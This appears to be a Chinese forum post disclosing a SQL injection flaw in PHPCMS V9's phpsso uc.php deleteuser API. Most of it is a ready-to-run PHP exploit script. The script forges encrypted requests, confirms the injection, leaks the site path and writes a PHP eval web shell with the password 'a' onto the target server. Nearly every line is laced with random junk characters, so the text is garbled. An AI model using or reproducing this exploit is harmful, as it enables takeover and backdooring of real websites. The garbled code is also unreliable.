PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
6 E' T% i' H: x1 @; `! `6 Y5 n( k: I- F8 n0 ?: h4 @' ?: k: q3 E
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。6 [/ [& }: T# R. P; j) H
' R- y7 k8 b h9 b7 a; u q漏洞分析:! X5 v. Z4 v2 E
1.未启用ucenter服务的情况下uc_key为空
% O# B2 H; D. Z' Cdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
4 I; f! ^5 l0 W3 ~! Q4 M L2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
" n% ~" e) a6 c0 h$ E public function deleteuser($get,$post) {4 O& I& p" n" m; x0 ^5 [
pc_base::load_app_func('global', 'admin');/ g' s B; C4 V$ Q. ^4 t1 s
pc_base::load_app_class('messagequeue', 'admin' , 0);, t, L# M/ Z' P8 ~2 Z2 V
$ids = new_stripslashes($get['ids']);2 J' Y, Q4 n; r- f( @4 Y
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
* ^0 c$ w8 D3 I+ v! cSQL语句为' O8 b y8 q7 i% k
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)% v o y. D8 R' N, ~% {/ x
2 L2 `6 r/ X+ L) s- g
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
2 h0 k' m3 i" a1 N& }. ~5 u" H8 w<?php
' }6 z2 E+ B0 m/ r Cprint_r('1 o- L4 j( s( W0 n9 Z6 O
---------------------------------------------------------------------------
2 J4 m0 P* h7 ~. z PPHPcms (v9 or Old Version) uc api sql injection 0day
1 f% r% c. a4 U; wby rayh4c#80sec.com' |4 b' H3 m8 a8 L
---------------------------------------------------------------------------
; J" c, H+ b* o/ x0 w/ z');
' n) _- z+ Z- w2 b
" K0 n9 P4 l1 {+ jif ($argc<3) {! [& n6 {, Q! r4 [
print_r('
8 Z" k$ @8 H+ \6 n/ c7 ^2 C% O---------------------------------------------------------------------------. u0 N9 E; k" {( ^3 z9 b
Usage: php '.$argv[0].' host path OPTIONS" `* E0 Z+ ~5 G3 G7 b5 d, ~; K
host: target server (ip/hostname)
/ n% {4 o5 }$ }path: path to phpcms
6 M$ u% e3 s* b/ h- x" _4 p# M. |Options:% O/ n1 ~! S/ D
-p[port]: specify a port other than 80
" N3 s% N1 } W -P[ip:port]: specify a proxy; D! \: B) v2 [* ^( X; L
Example:' c- M2 _! _9 P6 I
php '.$argv[0].' localhost /& N0 n* y9 E& V% G) k
php '.$argv[0].' localhost /phpcms/ -p818 y* c+ P' k6 w! k2 f8 W r
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80+ r+ ~( B6 X% x9 t
--------------------------------------------------------------------------- v+ z. m6 C6 Z" A5 z) b+ O% ^
');
1 z' o" R$ I( q, C. ~. v die;
* b$ P4 M0 u) f3 ~" G7 h* x}
1 W F. o2 l1 d. N7 k9 b! [
7 m. G1 g" g7 l6 terror_reporting(7);! p! W; u# H/ M* `! D, B6 d5 D
ini_set("max_execution_time",0);3 \* p* A1 u" E0 h6 K7 {+ o
ini_set("default_socket_timeout",5);
% B* M+ B5 Y: N6 h* e, O+ H5 m# g$ m% ?
function quick_dump($string)
% h4 U! B' b1 U" U' W' Z+ M{, R) n0 i- k$ G A4 L. D6 H
$result='';$exa='';$cont=0;
, c* D) Q% N* J# e" f' @ for ($i=0; $i<=strlen($string)-1; $i++)
K& _5 i' W9 X% l8 P9 C. z( F/ ^3 }6 f+ c {
$ G; }% v' G, ]3 l: M( p A if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
. {* ^$ U. b- G' f {$result.=" .";}& [' b1 U2 R; h
else; o7 k! G$ Y. Z2 K/ L, H1 h
{$result.=" ".$string[$i];}2 @. C" F2 i3 v9 Q- o1 W
if (strlen(dechex(ord($string[$i])))==2)
, l; ]' ^* V* p. R4 m {$exa.=" ".dechex(ord($string[$i]));}1 M- h$ u$ p" T7 o
else1 a; ]% h9 _8 u- ], s
{$exa.=" 0".dechex(ord($string[$i]));}& I3 R; P* H% C" W
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}! Z3 D" X2 L. k* o: X8 ^
}
. w! V5 {% i% J return $exa."\r\n".$result;
# ~8 o$ b! w! b# H* f, I}
# y( b% ]8 \/ f7 D- x( T- \2 D$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';" c$ @& H3 L8 d2 c, R% K+ E
+ ?. j4 r! v/ o G: G& x" {function send($packet)
8 w( n8 k( I b' R( W/ O7 Y{
, ]# w3 y' q' z3 g. ` global $proxy, $host, $port, $html, $proxy_regex;
) _7 S! f+ U% Q0 k! ~) u: U% | if ($proxy=='') {
5 ~$ [4 n! g- g' ~2 j $ock=fsockopen(gethostbyname($host),$port); |6 V9 v% \# c! H# m5 X! @) z
if (!$ock) {& |/ c" t! C+ E! L
echo 'No response from '.$host.':'.$port; die;
. n( d5 X! ?- I4 r0 f4 y3 i }
5 ?. P! l- i) Z7 h# M }
3 N' D% u/ J/ q* F+ h& ^3 A else {+ U5 P; d$ F( v5 `- Q" `
$c = preg_match($proxy_regex,$proxy);- ?1 V$ t( i$ D8 W
if (!$c) {
0 T( Z2 g5 S& R2 ? echo 'Not a valid proxy...';die;/ W; ^% ^( E9 D' G; H0 d
}% K+ P& \3 M/ e$ F# m
$parts=explode(':',$proxy);
+ U* W5 X5 R" j! g $parts[1]=(int)$parts[1];; Q& K4 |5 e+ B/ F
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
2 o/ m( b8 g' R8 w: W; ^; I# O. e $ock=fsockopen($parts[0],$parts[1]);0 X3 S0 O/ }1 B) M" P/ Z/ @# G
if (!$ock) {
7 {/ U; c- _4 V2 c* X( y echo 'No response from proxy...';die;
# B& U4 O2 Q. s; y2 m, s% T7 e }6 {" }- M F1 d( `
}
8 o/ K5 \; d3 ^3 H$ w$ v! U. Q' d fputs($ock,$packet);4 }0 D% W& r& X
if ($proxy=='') {
7 L2 r) f: l g- J $html='';- ?( V+ [; u- Z7 E4 T# x
while (!feof($ock)) {
- i* Y9 U \5 z& f+ V0 G $html.=fgets($ock);# b1 C. I) K. W7 ^$ ^" W
}+ {( g; L% C3 y/ `: u6 M
}
* c! M4 W$ l$ E! i. r' h else {
, s) D4 o+ F0 Y; F, Y/ |4 h- K $html='';/ y- H( O5 Y/ T4 o- l& h
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
' w# v) ~) p: r4 X& k9 o $html.=fread($ock,1);3 N( Q, b7 Y8 _5 i6 Q
}* y4 U6 B+ P2 y; X8 Z4 v7 b
}
- f( f1 `5 d( T' G# U fclose($ock);4 g: ]& [7 g `" {3 E. M5 j) w
}
# ~2 l; E0 \' U; |5 T0 n' N' H# o$ }, Q7 q
$host=$argv[1];2 t' g- l, |+ @: F2 I' {
$path=$argv[2];6 c# s3 a: l+ N/ s7 h! L5 N% C7 ]& p% o
$port=80;
3 x* M5 ?& f9 |. \8 E$proxy="";5 O( \+ I: C' S8 K
for ($i=3; $i<$argc; $i++){
) g* Y- U$ J9 y0 W* x4 K# E$temp=$argv[$i][0].$argv[$i][1];
, _) Y. t2 r/ k2 gif ($temp=="-p"); E- H; n7 n5 R
{
* \0 _6 j/ q& t( b) a $port=(int)str_replace("-p","",$argv[$i]);
3 F7 s) ~, Z* H; b8 m, k}
! I' a4 j* ]- W2 o3 @4 wif ($temp=="-P")4 L: a' E/ p; |" u# h; B7 u; Z
{
; x4 X: H7 l5 `9 X% `' t $proxy=str_replace("-P","",$argv[$i]);
- D" L" X' X2 a( v3 W) y}
: \( t" _$ @2 D P5 B}4 K. e& w7 O* ?7 [
: j( q% b' w7 m4 }# G& b9 D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
1 q5 q" G- R; o& g. mif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
9 D/ n6 ^5 U$ t* D$ ?4 ]
H% g6 m) V# r, `" c; l* R1 Zfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
4 k) K& ^: l# G" Z$ B
2 W# ]7 q- f; j% s $ckey_length = 4;3 J& _% j! Q% J+ f8 p! K" b
/ B4 W* ]% ~4 M
$key = md5($key ? $key : '');
" w& C% m8 @/ c% i" s3 R- @ g $keya = md5(substr($key, 0, 16));$ k0 Q' O3 z5 k$ V- [) k) I0 q. d
$keyb = md5(substr($key, 16, 16));
/ Y. o3 ]' Z3 h" D $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';! F3 Y7 q' l0 u/ r
. ?' g' N, U+ J7 c& q# c
$cryptkey = $keya.md5($keya.$keyc);
5 e/ O' Z2 R* N2 u1 Y $key_length = strlen($cryptkey);
# _* q8 o6 s$ V3 K: m# a
; f/ R' c& r. E' W $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;4 P- f. ~7 K4 D/ x7 i6 f; C
$string_length = strlen($string);
F4 K; {+ |2 d: V, m8 N+ Y; \( q
- |( q/ x! S% j: l K $result = '';
: Z( |. R# v! d6 Z $box = range(0, 255);) {/ ^. F+ `6 O8 _
0 e$ L9 t: ?# m0 |
$rndkey = array();9 c8 k1 b( o2 j- y
for($i = 0; $i <= 255; $i++) {0 t3 b7 {3 H1 i+ V9 T
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
J) y6 q) P) a) J/ u* \" w }% d3 P; u8 @$ p* I( b- R
& O6 v' j0 T+ Y' Q" A for($j = $i = 0; $i < 256; $i++) {
' F+ f! ~/ T% n' f- C7 H& K $j = ($j + $box[$i] + $rndkey[$i]) % 256;
0 b6 Q' @9 Y [; ]. i5 r $tmp = $box[$i];
2 G x9 R, z/ y; L/ @ $box[$i] = $box[$j];, w+ o J4 {" D% o1 v8 U6 s
$box[$j] = $tmp;2 S4 i2 O) w- M
}$ N' q$ {4 ]) P
9 p0 H( Q+ _% ~8 M. X( z for($a = $j = $i = 0; $i < $string_length; $i++) {
: G$ r! Z `- n" P B1 i $a = ($a + 1) % 256;9 ]+ I* E+ l* p9 X5 l
$j = ($j + $box[$a]) % 256;, X ^4 d, c7 ^# N) q: A% H8 B
$tmp = $box[$a];6 I1 l E1 M; a- V# ] a+ m, o
$box[$a] = $box[$j];
) B/ N7 q S; e $box[$j] = $tmp;' U8 E0 w& R1 M( m& ?3 [
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));; B z* ]# h* z: Q6 I
}
4 G' `' b' ~/ _' G$ q: ]% w. W
% M, \7 I; t. B a if($operation == 'DECODE') {
2 n# `" F" q% } K9 \1 H- Z9 J) r1 D if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {' z k( k/ ^- F; U1 r1 {
return substr($result, 26);5 @) M0 U! [7 P3 J, e! J
} else {; T$ d7 O7 F* h5 e* H6 r) z% `8 J0 s# p
return '';
8 l2 @. I3 u, f+ {6 O }
$ D+ P+ P% f- [. y* R7 P } else {/ E0 ~' C r! ?. h% _. K( p) |% _
return $keyc.str_replace('=', '', base64_encode($result));
. K1 B" m) _7 S6 T" {. Y }" L5 e# ? c% _& d4 [
7 ^/ D1 r" E0 ^7 O
}; F1 n' Q4 v/ e. \0 k" I
1 n1 M( G( `9 v# s9 g. U7 ~4 b) L
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";( \% f$ m/ ]& H
$SQL = urlencode(authcode($SQL, "ENCODE", ""));3 i& l1 U, U! Q. _+ q. o" Y [
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
* {% i; O9 Q9 j6 b" ^. \7 b$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";# z8 Z( C. l4 [4 Q" c: O, @. s
$packet.="User-Agent: Mozilla/5.0\r\n";# m) z/ D o& h/ K
$packet.="Host: ".$host."\r\n";
' @- p* r6 I9 ^) t: L3 N' }4 D$packet.="Connection: Close\r\n\r\n";1 o1 A5 A7 W. l9 p1 |
send($packet);, H/ Y2 F: F/ m8 F- }' @
if(strpos($html,"MySQL Errno") > 0){. t/ w" h ~' v0 P% x
echo "[2] 发现存在SQL注入漏洞"."\n";
, _. s: v+ t( F9 C; N0 W& Uecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
, p9 g4 a6 D' g6 h/ j- K1 Z$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
+ h0 y$ X+ m7 d* K/ n! b$packet.="User-Agent: Mozilla/5.0\r\n";
5 S1 i8 G) F) b/ i6 s( C( Z$packet.="Host: ".$host."\r\n";
% d4 q4 e! ^; `. F$packet.="Connection: Close\r\n\r\n";: `) e8 ^6 V2 f) V
send($packet);
* N/ [6 j/ S% ppreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);8 W0 |( X/ b J
//print_r($matches);
{1 X/ u O- N' O7 _if(!empty($matches)){% f# C" \' c$ Z5 k; F, q
echo "[4] 得到web路径 " . $matches[0]."\n";
. k: I' f' X# Z" F% M& B) lecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
. y' |, H' ?( |9 K! q5 R$SQL = "time=999999999999999999999999&ids=1)";
9 X$ `5 e V0 H1 @' g! d$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
# I, L( _5 {' t! |: A( o6 P$SQL.="&action=deleteuser";
c/ y. n4 N1 D1 }4 w, r$SQL = urlencode(authcode($SQL, "ENCODE", ""));
" T& h( L& `' p" R2 N! u# Qecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
8 Q; o( y6 ~' o4 r6 \3 f( W* I: l$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";2 X" i/ r3 @* P/ J7 v1 y. E
$packet.="User-Agent: Mozilla/5.0\r\n";+ e+ N* Q7 a: X' \9 Y
$packet.="Host: ".$host."\r\n";
6 g9 L+ o; [* U* K4 X. @ _6 M) C$packet.="Connection: Close\r\n\r\n";
3 _: m$ ?! f& n+ S5 f% r. j/ Jsend($packet);! }3 |, W5 ?* J; x
if(strpos($html,"Access denied") > 0){* D8 b, x; j; b4 Q
echo "[-] MYSQL权限过低 禁止写入文件 ";
+ t6 o; U. x8 I6 I0 q8 [. ]6 a0 kdie; Y* U: b0 z$ Q4 i2 S K- w0 r" g
}
2 |3 ?5 E5 J" X9 v/ H9 |" Decho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
2 m/ P1 y: F, C# L( C( g$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n"; }% d) e- T0 r& C$ }9 H3 B( Y
$packet.="User-Agent: Mozilla/5.0\r\n";* Q- y! a* [' H3 U) ^
$packet.="Host: ".$host."\r\n";8 O; x: P6 t; z* d Z
$packet.="Connection: Close\r\n\r\n";+ S9 l x) n8 a `0 ~ s
send($packet);0 P9 t0 }# C0 T' B1 V; U' {9 @
if(strpos($html,"<title>phpinfo()</title>") > 0){! Q! G) L; m6 o
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";5 k) p+ H( _3 ?4 F) E
}& K# @3 ^6 [) X: k
}else{- v. q4 j x3 }. b' ~
echo "[-]未取到web路径 ";
) J7 Z3 U9 y9 |4 {( C- k, ?}
7 T% A9 \; M: o" _6 l0 S- ~" Q}else{
/ w8 W- [3 [$ a0 p; A. {/ secho "[*]不存在SQL注入漏洞"."\n";
* H$ V$ t5 k9 `; a; q: K}3 p+ @, Y/ P1 ~" i+ v2 o- y9 P
. E, T& q$ X/ b4 |% W?>
" M; M2 _. j: Z/ }8 T$ [ |